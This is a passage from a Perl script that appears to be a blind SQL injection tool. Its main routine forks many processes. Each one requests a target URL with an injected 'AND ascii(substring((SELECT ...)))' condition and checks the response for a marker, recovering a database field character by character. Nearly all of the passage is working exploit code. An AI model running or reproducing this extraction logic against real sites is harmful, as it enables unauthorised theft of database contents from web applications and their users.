```
	}

	print "[i] SQL_FIELD:\n$sql_message\n" ;

}

sub _CHECKING
{
	my ($p, $position) = @_ ;
	my $counter = 0 ;
	my $stop_position ;

	foreach my $ascii ( @ascii )
	{
		$counter++ ;

		if( $counter % $p->{'-t'} == 0 )
		{
			my $stop_position ;
			eval
			{
				$SIG{'ALRM'} = sub { die "non_stop\n" } ;
				alarm $DEFAULT_THREADS_TIME ;
				my $line = <Rs> ;
				$stop_position = (split( / /, $line))[1] ;
				alarm 0 ;
			} ;

			if( ($stop_position) and $stop_position == $position ) { print
"\nnext position\n" ; exit(0) ; }
		}

		unless(my $pid = fork )
		{
			print Ws "$pid:$pid\n" or die ;

			my $url = $p->{'-u'} .
				' AND ascii(substring((SELECT ' . $p->{'-cn'} .
				' FROM ' . $p->{'-tn'} . ' where id=' .
				$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;

			my $ua = LWP::UserAgent->new ;
			$ua->timeout( $p->{'-T'} ) ;

			my $content ;
			while( 1 )
			{
				last if $content = $ua->get( $url )->content ;
			}

			( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n"
: print W "no $position $ascii\n" ;

			exit( 0 ) ;
		}

	}
}



sub _IS_VULN
```